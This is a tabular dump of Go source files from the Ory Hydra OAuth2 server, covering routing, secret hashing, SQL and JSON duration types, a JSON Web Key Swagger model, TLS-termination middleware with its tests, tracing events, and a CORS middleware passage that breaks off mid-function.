language
stringlengths 0
24
| filename
stringlengths 9
214
| code
stringlengths 99
9.93M
|
---|---|---|
Go | hydra/x/router.go | // Copyright © 2022 Ory Corp
// SPDX-License-Identifier: Apache-2.0
package x
import (
"context"
"net/url"
"github.com/julienschmidt/httprouter"
"github.com/ory/x/httprouterx"
"github.com/ory/x/serverx"
)
func NewRouterPublic() *httprouterx.RouterPublic {
router := httprouter.New()
router.NotFound = serverx.DefaultNotFoundHandler
return httprouterx.NewRouterPublic()
}
func NewRouterAdmin(f func(context.Context) *url.URL) *httprouterx.RouterAdmin {
router := httprouterx.NewRouterAdminWithPrefix("/admin", f)
router.NotFound = serverx.DefaultNotFoundHandler
return router
} |
Go | hydra/x/secret.go | // Copyright © 2022 Ory Corp
// SPDX-License-Identifier: Apache-2.0
package x
import (
"crypto/sha256"
"github.com/ory/x/randx"
)
var secretCharSet = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_-.~")
func GenerateSecret(length int) ([]byte, error) {
secret, err := randx.RuneSequence(length, secretCharSet)
if err != nil {
return []byte{}, err
}
return []byte(string(secret)), nil
}
// HashStringSecret hashes the secret for consumption by the AEAD encryption algorithm which expects exactly 32 bytes.
//
// The system secret is being hashed to always match exactly the 32 bytes required by AEAD, even if the secret is long or
// shorter.
func HashStringSecret(secret string) []byte {
return HashByteSecret([]byte(secret))
}
// HashByteSecret hashes the secret for consumption by the AEAD encryption algorithm which expects exactly 32 bytes.
//
// The system secret is being hashed to always match exactly the 32 bytes required by AEAD, even if the secret is long or
// shorter.
func HashByteSecret(secret []byte) []byte {
r := sha256.Sum256(secret)
return r[:]
} |
Go | hydra/x/sqlx.go | // Copyright © 2022 Ory Corp
// SPDX-License-Identifier: Apache-2.0
package x
import (
"database/sql"
"database/sql/driver"
"encoding/json"
"fmt"
"time"
"github.com/pkg/errors"
"github.com/ory/x/errorsx"
jose "github.com/go-jose/go-jose/v3"
)
// swagger:type JSONWebKeySet
type JoseJSONWebKeySet struct {
// swagger:ignore
*jose.JSONWebKeySet
}
func (n *JoseJSONWebKeySet) Scan(value interface{}) error {
v := fmt.Sprintf("%s", value)
if len(v) == 0 {
return nil
}
return errorsx.WithStack(json.Unmarshal([]byte(v), n))
}
func (n *JoseJSONWebKeySet) Value() (driver.Value, error) {
value, err := json.Marshal(n)
if err != nil {
return nil, errorsx.WithStack(err)
}
return string(value), nil
}
type Duration time.Duration
// MarshalJSON returns m as the JSON encoding of m.
func (ns Duration) MarshalJSON() ([]byte, error) {
return json.Marshal(time.Duration(ns).String())
}
// UnmarshalJSON sets *m to a copy of data.
func (ns *Duration) UnmarshalJSON(data []byte) error {
if ns == nil {
return errors.New("json.RawMessage: UnmarshalJSON on nil pointer")
}
if len(data) == 0 || string(data) == "null" {
return nil
}
var s string
if err := json.Unmarshal(data, &s); err != nil {
return err
}
p, err := time.ParseDuration(s)
if err != nil {
return err
}
*ns = Duration(p)
return nil
}
// swagger:model NullDuration
//
//lint:ignore U1000 Used to generate Swagger and OpenAPI definitions
type swaggerNullDuration string
// NullDuration represents a nullable JSON and SQL compatible time.Duration.
//
// TODO delete this type and replace it with ory/x/sqlxx/NullDuration when applying the custom client token TTL patch to Hydra 2.x
//
// swagger:ignore
type NullDuration struct {
Duration time.Duration
Valid bool
}
// Scan implements the Scanner interface.
func (ns *NullDuration) Scan(value interface{}) error {
var d = sql.NullInt64{}
if err := d.Scan(value); err != nil {
return err
}
ns.Duration = time.Duration(d.Int64)
ns.Valid = d.Valid
return nil
}
// Value implements the driver Valuer interface.
func (ns NullDuration) Value() (driver.Value, error) {
if !ns.Valid {
return nil, nil
}
return int64(ns.Duration), nil
}
// MarshalJSON returns m as the JSON encoding of m.
func (ns NullDuration) MarshalJSON() ([]byte, error) {
if !ns.Valid {
return []byte("null"), nil
}
return json.Marshal(ns.Duration.String())
}
// UnmarshalJSON sets *m to a copy of data.
func (ns *NullDuration) UnmarshalJSON(data []byte) error {
if ns == nil {
return errors.New("json.RawMessage: UnmarshalJSON on nil pointer")
}
if len(data) == 0 || string(data) == "null" {
return nil
}
var s string
if err := json.Unmarshal(data, &s); err != nil {
return err
}
p, err := time.ParseDuration(s)
if err != nil {
return err
}
ns.Duration = p
ns.Valid = true
return nil
} |
Go | hydra/x/swagger.go | // Copyright © 2022 Ory Corp
// SPDX-License-Identifier: Apache-2.0
package x
// swagger:model jsonWebKey
type JSONWebKey struct {
// Use ("public key use") identifies the intended use of
// the public key. The "use" parameter is employed to indicate whether
// a public key is used for encrypting data or verifying the signature
// on data. Values are commonly "sig" (signature) or "enc" (encryption).
//
// required: true
// example: sig
Use string `json:"use,omitempty"`
// The "kty" (key type) parameter identifies the cryptographic algorithm
// family used with the key, such as "RSA" or "EC". "kty" values should
// either be registered in the IANA "JSON Web Key Types" registry
// established by [JWA] or be a value that contains a Collision-
// Resistant Name. The "kty" value is a case-sensitive string.
//
// required: true
// example: RSA
Kty string `json:"kty,omitempty"`
// The "kid" (key ID) parameter is used to match a specific key. This
// is used, for instance, to choose among a set of keys within a JWK Set
// during key rollover. The structure of the "kid" value is
// unspecified. When "kid" values are used within a JWK Set, different
// keys within the JWK Set SHOULD use distinct "kid" values. (One
// example in which different keys might use the same "kid" value is if
// they have different "kty" (key type) values but are considered to be
// equivalent alternatives by the application using them.) The "kid"
// value is a case-sensitive string.
//
// required: true
// example: 1603dfe0af8f4596
Kid string `json:"kid,omitempty"`
// The "alg" (algorithm) parameter identifies the algorithm intended for
// use with the key. The values used should either be registered in the
// IANA "JSON Web Signature and Encryption Algorithms" registry
// established by [JWA] or be a value that contains a Collision-
// Resistant Name.
//
// required: true
// example: RS256
Alg string `json:"alg,omitempty"`
// The "x5c" (X.509 certificate chain) parameter contains a chain of one
// or more PKIX certificates [RFC5280]. The certificate chain is
// represented as a JSON array of certificate value strings. Each
// string in the array is a base64-encoded (Section 4 of [RFC4648] --
// not base64url-encoded) DER [ITU.X690.1994] PKIX certificate value.
// The PKIX certificate containing the key value MUST be the first
// certificate.
X5c []string `json:"x5c,omitempty"`
// example: vTqrxUyQPl_20aqf5kXHwDZrel-KovIp8s7ewJod2EXHl8tWlRB3_Rem34KwBfqlKQGp1nqah-51H4Jzruqe0cFP58hPEIt6WqrvnmJCXxnNuIB53iX_uUUXXHDHBeaPCSRoNJzNysjoJ30TIUsKBiirhBa7f235PXbKiHducLevV6PcKxJ5cY8zO286qJLBWSPm-OIevwqsIsSIH44Qtm9sioFikhkbLwoqwWORGAY0nl6XvVOlhADdLjBSqSAeT1FPuCDCnXwzCDR8N9IFB_IjdStFkC-rVt2K5BYfPd0c3yFp_vHR15eRd0zJ8XQ7woBC8Vnsac6Et1pKS59pX6256DPWu8UDdEOolKAPgcd_g2NpA76cAaF_jcT80j9KrEzw8Tv0nJBGesuCjPNjGs_KzdkWTUXt23Hn9QJsdc1MZuaW0iqXBepHYfYoqNelzVte117t4BwVp0kUM6we0IqyXClaZgOI8S-WDBw2_Ovdm8e5NmhYAblEVoygcX8Y46oH6bKiaCQfKCFDMcRgChme7AoE1yZZYsPbaG_3IjPrC4LBMHQw8rM9dWjJ8ImjicvZ1pAm0dx-KHCP3y5PVKrxBDf1zSOsBRkOSjB8TPODnJMz6-jd5hTtZxpZPwPoIdCanTZ3ZD6uRBpTmDwtpRGm63UQs1m5FWPwb0T2IF0
N string `json:"n,omitempty"`
// example: AQAB
E string `json:"e,omitempty"`
// example: T_N8I-6He3M8a7X1vWt6TGIx4xB_GP3Mb4SsZSA4v-orvJzzRiQhLlRR81naWYxfQAYt5isDI6_C2L9bdWo4FFPjGQFvNoRX-_sBJyBI_rl-TBgsZYoUlAj3J92WmY2inbA-PwyJfsaIIDceYBC-eX-xiCu6qMqkZi3MwQAFL6bMdPEM0z4JBcwFT3VdiWAIRUuACWQwrXMq672x7fMuaIaHi7XDGgt1ith23CLfaREmJku9PQcchbt_uEY-hqrFY6ntTtS4paWWQj86xLL94S-Tf6v6xkL918PfLSOTq6XCzxvlFwzBJqApnAhbwqLjpPhgUG04EDRrqrSBc5Y1BLevn6Ip5h1AhessBp3wLkQgz_roeckt-ybvzKTjESMuagnpqLvOT7Y9veIug2MwPJZI2VjczRc1vzMs25XrFQ8DpUy-bNdp89TmvAXwctUMiJdgHloJw23Cv03gIUAkDnsTqZmkpbIf-crpgNKFmQP_EDKoe8p_PXZZgfbRri3NoEVGP7Mk6yEu8LjJhClhZaBNjuWw2-KlBfOA3g79mhfBnkInee5KO9mGR50qPk1V-MorUYNTFMZIm0kFE6eYVWFBwJHLKYhHU34DoiK1VP-svZpC2uAMFNA_UJEwM9CQ2b8qe4-5e9aywMvwcuArRkAB5mBIfOaOJao3mfukKAE
D string `json:"d,omitempty"`
// example: 6NbkXwDWUhi-eR55Cgbf27FkQDDWIamOaDr0rj1q0f1fFEz1W5A_09YvG09Fiv1AO2-D8Rl8gS1Vkz2i0zCSqnyy8A025XOcRviOMK7nIxE4OH_PEsko8dtIrb3TmE2hUXvCkmzw9EsTF1LQBOGC6iusLTXepIC1x9ukCKFZQvdgtEObQ5kzd9Nhq-cdqmSeMVLoxPLd1blviVT9Vm8-y12CtYpeJHOaIDtVPLlBhJiBoPKWg3vxSm4XxIliNOefqegIlsmTIa3MpS6WWlCK3yHhat0Q-rRxDxdyiVdG_wzJvp0Iw_2wms7pe-PgNPYvUWH9JphWP5K38YqEBiJFXQ
P string `json:"p,omitempty"`
// example: 0A1FmpOWR91_RAWpqreWSavNaZb9nXeKiBo0DQGBz32DbqKqQ8S4aBJmbRhJcctjCLjain-ivut477tAUMmzJwVJDDq2MZFwC9Q-4VYZmFU4HJityQuSzHYe64RjN-E_NQ02TWhG3QGW6roq6c57c99rrUsETwJJiwS8M5p15Miuz53DaOjv-uqqFAFfywN5WkxHbraBcjHtMiQuyQbQqkCFh-oanHkwYNeytsNhTu2mQmwR5DR2roZ2nPiFjC6nsdk-A7E3S3wMzYYFw7jvbWWoYWo9vB40_MY2Y0FYQSqcDzcBIcq_0tnnasf3VW4Fdx6m80RzOb2Fsnln7vKXAQ
Q string `json:"q,omitempty"`
// example: P-256
Crv string `json:"crv,omitempty"`
// example: G4sPXkc6Ya9y8oJW9_ILj4xuppu0lzi_H7VTkS8xj5SdX3coE0oimYwxIi2emTAue0UOa5dpgFGyBJ4c8tQ2VF402XRugKDTP8akYhFo5tAA77Qe_NmtuYZc3C3m3I24G2GvR5sSDxUyAN2zq8Lfn9EUms6rY3Ob8YeiKkTiBj0
Dp string `json:"dp,omitempty"`
// example: s9lAH9fggBsoFR8Oac2R_E2gw282rT2kGOAhvIllETE1efrA6huUUvMfBcMpn8lqeW6vzznYY5SSQF7pMdC_agI3nG8Ibp1BUb0JUiraRNqUfLhcQb_d9GF4Dh7e74WbRsobRonujTYN1xCaP6TO61jvWrX-L18txXw494Q_cgk
Dq string `json:"dq,omitempty"`
// example: GyM_p6JrXySiz1toFgKbWV-JdI3jQ4ypu9rbMWx3rQJBfmt0FoYzgUIZEVFEcOqwemRN81zoDAaa-Bk0KWNGDjJHZDdDmFhW3AN7lI-puxk_mHZGJ11rxyR8O55XLSe3SPmRfKwZI6yU24ZxvQKFYItdldUKGzO6Ia6zTKhAVRU
Qi string `json:"qi,omitempty"`
// example: GawgguFyGrWKav7AX4VKUg
K string `json:"k,omitempty"`
// example: f83OJ3D2xF1Bg8vub9tLe1gHMzV76e8Tus9uPHvRVEU
X string `json:"x,omitempty"`
// example: x_FEzRu9m36HLN_tue659LNpXW6pCyStikYjKIWI5a0
Y string `json:"y,omitempty"`
} |
Go | hydra/x/test_helpers.go | // Copyright © 2022 Ory Corp
// SPDX-License-Identifier: Apache-2.0
package x
import (
"github.com/ory/fosite/storage"
)
func FositeStore() *storage.MemoryStore {
return storage.NewMemoryStore()
} |
Go | hydra/x/tls_termination.go | // Copyright © 2022 Ory Corp
// SPDX-License-Identifier: Apache-2.0
package x
import (
"net"
"net/http"
"strings"
"github.com/ory/x/errorsx"
"github.com/pkg/errors"
"github.com/urfave/negroni"
"github.com/ory/x/healthx"
prometheus "github.com/ory/x/prometheusx"
"github.com/ory/x/stringsx"
)
func MatchesRange(r *http.Request, ranges []string) error {
remoteIP, _, err := net.SplitHostPort(r.RemoteAddr)
if err != nil {
return errorsx.WithStack(err)
}
check := []string{remoteIP}
for _, fwd := range stringsx.Splitx(r.Header.Get("X-Forwarded-For"), ",") {
check = append(check, strings.TrimSpace(fwd))
}
for _, rn := range ranges {
_, cidr, err := net.ParseCIDR(rn)
if err != nil {
return errorsx.WithStack(err)
}
for _, ip := range check {
addr := net.ParseIP(ip)
if cidr.Contains(addr) {
return nil
}
}
}
return errors.Errorf("neither remote address nor any x-forwarded-for values match CIDR ranges %v: %v, ranges, check)", ranges, check)
}
type tlsRegistry interface {
RegistryLogger
RegistryWriter
}
type tlsConfig interface {
Enabled() bool
AllowTerminationFrom() []string
}
func RejectInsecureRequests(reg tlsRegistry, c tlsConfig) negroni.HandlerFunc {
return func(rw http.ResponseWriter, r *http.Request, next http.HandlerFunc) {
if r.TLS != nil ||
!c.Enabled() ||
r.URL.Path == healthx.AliveCheckPath ||
r.URL.Path == healthx.ReadyCheckPath ||
r.URL.Path == prometheus.MetricsPrometheusPath {
next.ServeHTTP(rw, r)
return
}
if len(c.AllowTerminationFrom()) == 0 {
reg.Logger().WithRequest(r).WithError(errors.New("TLS termination is not enabled")).Error("Could not serve http connection")
reg.Writer().WriteErrorCode(rw, r, http.StatusBadGateway, errors.New("can not serve request over insecure http"))
return
}
ranges := c.AllowTerminationFrom()
if err := MatchesRange(r, ranges); err != nil {
reg.Logger().WithRequest(r).WithError(err).Warnln("Could not serve http connection")
reg.Writer().WriteErrorCode(rw, r, http.StatusBadGateway, errors.New("can not serve request over insecure http"))
return
}
proto := r.Header.Get("X-Forwarded-Proto")
if proto == "" {
reg.Logger().WithRequest(r).WithError(errors.New("X-Forwarded-Proto header is missing")).Error("Could not serve http connection")
reg.Writer().WriteErrorCode(rw, r, http.StatusBadGateway, errors.New("can not serve request over insecure http"))
return
} else if proto != "https" {
reg.Logger().WithRequest(r).WithError(errors.New("X-Forwarded-Proto header is missing")).Error("Could not serve http connection")
reg.Writer().WriteErrorCode(rw, r, http.StatusBadGateway, errors.Errorf("expected X-Forwarded-Proto header to be https but got: %s", proto))
return
}
next.ServeHTTP(rw, r)
}
} |
Go | hydra/x/tls_termination_test.go | // Copyright © 2022 Ory Corp
// SPDX-License-Identifier: Apache-2.0
package x_test
import (
"context"
"net/http"
"net/http/httptest"
"net/url"
"testing"
"github.com/stretchr/testify/assert"
"github.com/ory/hydra/v2/driver/config"
"github.com/ory/hydra/v2/internal"
. "github.com/ory/hydra/v2/x"
"github.com/ory/x/contextx"
)
func panicHandler(w http.ResponseWriter, r *http.Request) {
panic("should not have been called")
}
func noopHandler(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusNoContent)
}
func TestDoesRequestSatisfyTermination(t *testing.T) {
c := internal.NewConfigurationWithDefaultsAndHTTPS()
r := internal.NewRegistryMemory(t, c, &contextx.Default{})
t.Run("case=tls-termination-disabled", func(t *testing.T) {
c.MustSet(context.Background(), config.KeyTLSAllowTerminationFrom, "")
res := httptest.NewRecorder()
RejectInsecureRequests(r, c.TLS(context.Background(), config.PublicInterface))(res, &http.Request{Header: http.Header{}, URL: new(url.URL)}, panicHandler)
assert.EqualValues(t, http.StatusBadGateway, res.Code)
})
// change: x-forwarded-proto is checked after cidr, therefore it will never actually test header
t.Run("case=missing-x-forwarded-proto", func(t *testing.T) {
c.MustSet(context.Background(), config.KeyTLSAllowTerminationFrom, []string{"126.0.0.1/24", "127.0.0.1/24"})
res := httptest.NewRecorder()
RejectInsecureRequests(r, c.TLS(context.Background(), config.PublicInterface))(res, &http.Request{
RemoteAddr: "127.0.0.1:123",
Header: http.Header{},
URL: new(url.URL)},
panicHandler,
)
assert.EqualValues(t, http.StatusBadGateway, res.Code)
})
// change: x-forwarded-proto is checked after cidr, therefor it will never actually test header with "http"
t.Run("case=x-forwarded-proto-is-http", func(t *testing.T) {
c.MustSet(context.Background(), config.KeyTLSAllowTerminationFrom, []string{"126.0.0.1/24", "127.0.0.1/24"})
res := httptest.NewRecorder()
RejectInsecureRequests(r, c.TLS(context.Background(), config.PublicInterface))(res, &http.Request{
RemoteAddr: "127.0.0.1:123",
Header: http.Header{
"X-Forwarded-Proto": []string{"http"},
}, URL: new(url.URL)},
panicHandler,
)
assert.EqualValues(t, http.StatusBadGateway, res.Code)
})
t.Run("case=missing-x-forwarded-for", func(t *testing.T) {
c.MustSet(context.Background(), config.KeyTLSAllowTerminationFrom, []string{"126.0.0.1/24", "127.0.0.1/24"})
res := httptest.NewRecorder()
RejectInsecureRequests(r, c.TLS(context.Background(), config.PublicInterface))(res, &http.Request{Header: http.Header{"X-Forwarded-Proto": []string{"https"}}, URL: new(url.URL)}, panicHandler)
assert.EqualValues(t, http.StatusBadGateway, res.Code)
})
t.Run("case=remote-not-in-cidr", func(t *testing.T) {
c.MustSet(context.Background(), config.KeyTLSAllowTerminationFrom, []string{"126.0.0.1/24", "127.0.0.1/24"})
res := httptest.NewRecorder()
RejectInsecureRequests(r, c.TLS(context.Background(), config.PublicInterface))(res, &http.Request{
RemoteAddr: "227.0.0.1:123",
Header: http.Header{"X-Forwarded-Proto": []string{"https"}}, URL: new(url.URL)},
panicHandler,
)
assert.EqualValues(t, http.StatusBadGateway, res.Code)
})
t.Run("case=remote-and-forwarded-not-in-cidr", func(t *testing.T) {
c.MustSet(context.Background(), config.KeyTLSAllowTerminationFrom, []string{"126.0.0.1/24", "127.0.0.1/24"})
res := httptest.NewRecorder()
RejectInsecureRequests(r, c.TLS(context.Background(), config.PublicInterface))(res, &http.Request{
RemoteAddr: "227.0.0.1:123",
Header: http.Header{
"X-Forwarded-Proto": []string{"https"},
"X-Forwarded-For": []string{"227.0.0.1"},
}, URL: new(url.URL)},
panicHandler,
)
assert.EqualValues(t, http.StatusBadGateway, res.Code)
})
t.Run("case=remote-matches-cidr", func(t *testing.T) {
c.MustSet(context.Background(), config.KeyTLSAllowTerminationFrom, []string{"126.0.0.1/24", "127.0.0.1/24"})
res := httptest.NewRecorder()
RejectInsecureRequests(r, c.TLS(context.Background(), config.PublicInterface))(res, &http.Request{
RemoteAddr: "127.0.0.1:123",
Header: http.Header{
"X-Forwarded-Proto": []string{"https"},
}, URL: new(url.URL)},
noopHandler,
)
assert.EqualValues(t, http.StatusNoContent, res.Code)
})
// change: cidr and x-forwarded-proto headers are irrelevant for this test
t.Run("case=passes-because-health-alive-endpoint", func(t *testing.T) {
c.MustSet(context.Background(), config.AdminInterface.Key(config.KeySuffixTLSAllowTerminationFrom), []string{"126.0.0.1/24", "127.0.0.1/24"})
res := httptest.NewRecorder()
RejectInsecureRequests(r, c.TLS(context.Background(), config.AdminInterface))(res, &http.Request{
RemoteAddr: "227.0.0.1:123",
Header: http.Header{},
URL: &url.URL{Path: "/health/alive"},
},
noopHandler,
)
assert.EqualValues(t, http.StatusNoContent, res.Code)
})
// change: cidr and x-forwarded-proto headers are irrelevant for this test
t.Run("case=passes-because-health-ready-endpoint", func(t *testing.T) {
c.MustSet(context.Background(), config.AdminInterface.Key(config.KeySuffixTLSAllowTerminationFrom), []string{"126.0.0.1/24", "127.0.0.1/24"})
res := httptest.NewRecorder()
RejectInsecureRequests(r, c.TLS(context.Background(), config.AdminInterface))(res, &http.Request{
RemoteAddr: "227.0.0.1:123",
Header: http.Header{},
URL: &url.URL{Path: "/health/alive"},
},
noopHandler,
)
assert.EqualValues(t, http.StatusNoContent, res.Code)
})
t.Run("case=forwarded-matches-cidr", func(t *testing.T) {
c.MustSet(context.Background(), config.KeyTLSAllowTerminationFrom, []string{"126.0.0.1/24", "127.0.0.1/24"})
res := httptest.NewRecorder()
RejectInsecureRequests(r, c.TLS(context.Background(), config.PublicInterface))(res, &http.Request{
RemoteAddr: "227.0.0.2:123",
Header: http.Header{
"X-Forwarded-For": []string{"227.0.0.1, 127.0.0.1, 227.0.0.2"},
"X-Forwarded-Proto": []string{"https"},
}, URL: new(url.URL)},
noopHandler,
)
assert.EqualValues(t, http.StatusNoContent, res.Code)
})
t.Run("case=forwarded-matches-cidr-without-spaces", func(t *testing.T) {
c.MustSet(context.Background(), config.KeyTLSAllowTerminationFrom, []string{"126.0.0.1/24", "127.0.0.1/24"})
res := httptest.NewRecorder()
RejectInsecureRequests(r, c.TLS(context.Background(), config.PublicInterface))(res, &http.Request{
RemoteAddr: "227.0.0.2:123",
Header: http.Header{
"X-Forwarded-For": []string{"227.0.0.1,127.0.0.1,227.0.0.2"},
"X-Forwarded-Proto": []string{"https"},
}, URL: new(url.URL)},
noopHandler,
)
assert.EqualValues(t, http.StatusNoContent, res.Code)
})
// test: in case http is forced request should be accepted
t.Run("case=forced-http", func(t *testing.T) {
c := internal.NewConfigurationWithDefaults()
res := httptest.NewRecorder()
RejectInsecureRequests(r, c.TLS(context.Background(), config.PublicInterface))(res, &http.Request{Header: http.Header{}, URL: new(url.URL)}, noopHandler)
assert.EqualValues(t, http.StatusNoContent, res.Code)
})
// test: prometheus endpoint should accept request
t.Run("case=passes-with-tls-upstream-on-metrics-prometheus-endpoint", func(t *testing.T) {
c.MustSet(context.Background(), config.AdminInterface.Key(config.KeySuffixTLSAllowTerminationFrom), []string{"126.0.0.1/24", "127.0.0.1/24"})
res := httptest.NewRecorder()
RejectInsecureRequests(r, c.TLS(context.Background(), config.AdminInterface))(res, &http.Request{
RemoteAddr: "227.0.0.1:123",
Header: http.Header{},
URL: &url.URL{Path: "/metrics/prometheus"},
},
noopHandler,
)
assert.EqualValues(t, http.StatusNoContent, res.Code)
})
// test: prometheus endpoint should accept request because TLS is disabled
t.Run("case=passes-with-tls-disabled-on-admin-endpoint", func(t *testing.T) {
c.MustSet(context.Background(), config.AdminInterface.Key(config.KeySuffixTLSEnabled), false)
res := httptest.NewRecorder()
RejectInsecureRequests(r, c.TLS(context.Background(), config.AdminInterface))(res, &http.Request{
RemoteAddr: "227.0.0.1:123",
Header: http.Header{
"X-Forwarded-Proto": []string{"http"},
},
URL: &url.URL{Path: "/foo"},
},
noopHandler,
)
assert.EqualValues(t, http.StatusNoContent, res.Code)
})
// test: prometheus endpoint should not accept request because TLS is enabled
t.Run("case=fails-with-tls-enabled-on-admin-endpoint", func(t *testing.T) {
c.MustSet(context.Background(), config.AdminInterface.Key(config.KeySuffixTLSEnabled), true)
res := httptest.NewRecorder()
RejectInsecureRequests(r, c.TLS(context.Background(), config.AdminInterface))(res, &http.Request{
RemoteAddr: "227.0.0.1:123",
Header: http.Header{
"X-Forwarded-Proto": []string{"http"},
},
URL: &url.URL{Path: "/foo"},
},
panicHandler,
)
assert.EqualValues(t, http.StatusBadGateway, res.Code)
})
} |
Go | hydra/x/events/events.go | // Copyright © 2023 Ory Corp
// SPDX-License-Identifier: Apache-2.0
package events
import (
"context"
otelattr "go.opentelemetry.io/otel/attribute"
"go.opentelemetry.io/otel/trace"
"github.com/ory/fosite"
"github.com/ory/x/otelx/semconv"
)
const (
// LoginAccepted will be emitted when the login UI accepts a login request.
LoginAccepted semconv.Event = "OAuth2LoginAccepted"
// LoginRejected will be emitted when the login UI rejects a login request.
LoginRejected semconv.Event = "OAuth2LoginRejected"
// ConsentAccepted will be emitted when the consent UI accepts a consent request.
ConsentAccepted semconv.Event = "OAuth2ConsentAccepted"
// ConsentRejected will be emitted when the consent UI rejects a consent request.
ConsentRejected semconv.Event = "OAuth2ConsentRejected"
// ConsentRevoked will be emitted when the user revokes a consent request.
ConsentRevoked semconv.Event = "OAuth2ConsentRevoked"
// ClientCreated will be emitted when a client is created.
ClientCreated semconv.Event = "OAuth2ClientCreated"
// ClientDeleted will be emitted when a client is deleted.
ClientDeleted semconv.Event = "OAuth2ClientDeleted"
// ClientUpdated will be emitted when a client is updated.
ClientUpdated semconv.Event = "OAuth2ClientUpdated"
// AccessTokenIssued will be emitted by requests to POST /oauth2/token in case the request was successful.
AccessTokenIssued semconv.Event = "OAuth2AccessTokenIssued" //nolint:gosec
// TokenExchangeError will be emitted by requests to POST /oauth2/token in case the request was unsuccessful.
TokenExchangeError semconv.Event = "OAuth2TokenExchangeError" //nolint:gosec
// AccessTokenInspected will be emitted by requests to POST /admin/oauth2/introspect.
AccessTokenInspected semconv.Event = "OAuth2AccessTokenInspected" //nolint:gosec
// AccessTokenRevoked will be emitted by requests to POST /oauth2/revoke.
AccessTokenRevoked semconv.Event = "OAuth2AccessTokenRevoked" //nolint:gosec
// RefreshTokenIssued will be emitted when a refresh token is issued.
RefreshTokenIssued semconv.Event = "OAuth2RefreshTokenIssued" //nolint:gosec
// IdentityTokenIssued will be emitted when a refresh token is issued.
IdentityTokenIssued semconv.Event = "OIDCIdentityTokenIssued" //nolint:gosec
)
const (
attributeKeyOAuth2ClientName = "OAuth2ClientName"
attributeKeyOAuth2ClientID = "OAuth2ClientID"
attributeKeyOAuth2Subject = "OAuth2Subject"
attributeKeyOAuth2GrantType = "OAuth2GrantType"
attributeKeyOAuth2TokenFormat = "OAuth2TokenFormat" //nolint:gosec
)
// WithTokenFormat emits the token format as part of the event.
func WithTokenFormat(format string) trace.EventOption {
return trace.WithAttributes(otelattr.String(attributeKeyOAuth2TokenFormat, format))
}
// WithGrantType emits the token format as part of the event.
func WithGrantType(grantType string) trace.EventOption {
return trace.WithAttributes(otelattr.String(attributeKeyOAuth2GrantType, grantType))
}
// WithClientID emits the client ID as part of the event.
func WithClientID(clientID string) trace.EventOption {
return trace.WithAttributes(otelattr.String(attributeKeyOAuth2ClientID, clientID))
}
// WithClientName emits the client name as part of the event.
func WithClientName(clientID string) trace.EventOption {
return trace.WithAttributes(otelattr.String(attributeKeyOAuth2ClientName, clientID))
}
// WithSubject emits the subject as part of the event.
func WithSubject(subject string) trace.EventOption {
return trace.WithAttributes(otelattr.String(attributeKeyOAuth2Subject, subject))
}
// WithRequest emits the subject and client ID from the fosite request as part of the event.
func WithRequest(request fosite.Requester) trace.EventOption {
var attributes []otelattr.KeyValue
if client := request.GetClient(); client != nil {
attributes = append(attributes, otelattr.String(attributeKeyOAuth2ClientID, client.GetID()))
}
if session := request.GetSession(); session != nil {
attributes = append(attributes, otelattr.String(attributeKeyOAuth2Subject, session.GetSubject()))
}
return trace.WithAttributes(attributes...)
}
// Trace emits an event with the given attributes.
func Trace(ctx context.Context, event semconv.Event, opts ...trace.EventOption) {
allOpts := append([]trace.EventOption{trace.WithAttributes(semconv.AttributesFromContext(ctx)...)}, opts...)
trace.SpanFromContext(ctx).AddEvent(
string(event),
allOpts...,
)
} |
Go | hydra/x/oauth2cors/cors.go | // Copyright © 2022 Ory Corp
// SPDX-License-Identifier: Apache-2.0
package oauth2cors
import (
"net/http"
"strings"
"github.com/ory/hydra/v2/client"
"github.com/ory/hydra/v2/driver/config"
"github.com/ory/hydra/v2/oauth2"
"github.com/ory/hydra/v2/x"
"github.com/gobwas/glob"
"github.com/rs/cors"
"github.com/ory/fosite"
)
func Middleware(
reg interface {
x.RegistryLogger
oauth2.Registry
client.Registry
}) func(h http.Handler) http.Handler {
return func(h http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
ctx := r.Context()
opts, enabled := reg.Config().CORS(ctx, config.PublicInterface)
if !enabled {
reg.Logger().Debug("not enhancing CORS per client, as CORS is disabled")
h.ServeHTTP(w, r)
return
}
alwaysAllow := len(opts.AllowedOrigins) == 0
patterns := make([]glob.Glob, 0, len(opts.AllowedOrigins))
for _, o := range opts.AllowedOrigins {
if o == "*" {
alwaysAllow = true
break
}
// if the protocol (http or https) is specified, but the url is wildcard, use special ** glob, which ignore the '.' separator.
// This way g := glob.Compile("http://**") g.Match("http://google.com") returns true.
if scheme, rest, found := strings.Cut(o, "://"); found && rest == "*" {
o = scheme + "://**"
}
g, err := glob.Compile(strings.ToLower(o), '.')
if err != nil {
reg.Logger().WithError(err).WithField("pattern", o).Error("Unable to parse CORS origin, ignoring it")
continue
}
patterns = append(patterns, g)
}
options := cors.Options{
AllowedOrigins: opts.AllowedOrigins,
AllowedMethods: opts.AllowedMethods,
AllowedHeaders: opts.AllowedHeaders,
ExposedHeaders: opts.ExposedHeaders,
MaxAge: opts.MaxAge,
AllowCredentials: opts.AllowCredentials,
OptionsPassthrough: opts.OptionsPassthrough,
Debug: opts.Debug,
AllowOriginRequestFunc: func(r *http.Request, origin string) bool {
ctx := r.Context()
if alwaysAllow {
return true
}
origin = strings.ToLower(origin)
for _, p := range patterns {
if p.Match(origin) {
return true
}
}
// pre-flight requests do not contain credentials (cookies, HTTP authorization)
// so we return true in all cases here.
if r.Method == http.MethodOptions {
return true
}
var clientID string
// if the client uses client_secret_post auth it will provide its client ID in form data
clientID = r.PostFormValue("client_id")
// if the client uses client_secret_basic auth the client ID will be the username component
if clientID == "" {
clientID, _, _ = r.BasicAuth()
}
// otherwise, this may be a bearer auth request, in which case we can introspect the token
if clientID == "" {
token := fosite.AccessTokenFromRequest(r)
if token == "" {
return false
}
session := oauth2.NewSessionWithCustomClaims(ctx, reg.Config(), "")
_, ar, err := reg.OAuth2Provider().IntrospectToken(ctx, token, fosite.AccessToken, session)
if err != nil {
return false
}
clientID = ar.GetClient().GetID()
}
cl, err := reg.ClientManager().GetConcreteClient(ctx, clientID)
if err != nil {
return false
}
for _, o := range cl.AllowedCORSOrigins {
if o == "*" {
return true
}
// if the protocol (http or https) is specified, but the url is wildcard, use special ** glob, which ignore the '.' separator.
// This way g := glob.Compile("http://**") g.Match("http://google.com") returns true.
if scheme, rest, found := strings.Cut(o, "://"); found && rest == "*" {
o = scheme + "://**"
}
